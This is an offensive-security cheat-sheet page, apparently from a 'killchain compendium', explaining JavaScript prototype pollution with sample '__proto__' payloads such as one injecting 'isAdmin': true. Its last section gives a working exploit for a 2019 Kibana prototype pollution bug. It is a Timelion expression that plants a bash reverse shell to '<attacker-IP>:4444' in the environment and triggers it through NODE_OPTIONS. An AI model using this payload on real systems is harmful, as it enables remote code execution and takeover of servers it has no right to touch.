killchain-compendium/Exploits/Web/Prototype Pollution JS.md

2.1 KiB

Prototype Pollution

Overwrite built in properties, like constructor, toString of an inherited prototype object.

__proto__ is a reference to a prototype object.

Any other instance inherits properties from Object.__proto__, e.g. Object.prototype.toString() is inherited by all objects. That means if the toString() functions is overwritten it is changed in all other objects as well.

{"__proto__": {"toString": "Horton hears a __proto__"}}

An entrypoint for prototype pollution may be a merge of objects or a set of path/properties of an objects

Prototype pollution works best, when there is no input sanitization or validation. Often, a combination with other exploits is needed, e.g. XSS to get a notable effect.

Usage

Access to prototype can be gained inside an object, as an example

obj.__proto__
Object.prototype

Create an object

let obj = {}

Create properties inside __proto__.

obj.__proto__.isAdmin = true

If objects are merged with input sanitization use "__proto__" as the key and set the payload in the value. An example follows, an additional property is added to an existing object.

{"__proto__": {"isAdmin": true}}

All object which inherit the prototype get the new property added.

Example CVEs

Kibana CVE 2019

A concrete example is a Kibana prototype pollution from CVE from 2019. Write a reverse shell into variables so it gets executed.

Therefore Use the following node functions

  • require
  • eval
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i >& /dev/tcp/<attacker-IP>/4444 0>&1\'");//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

Tools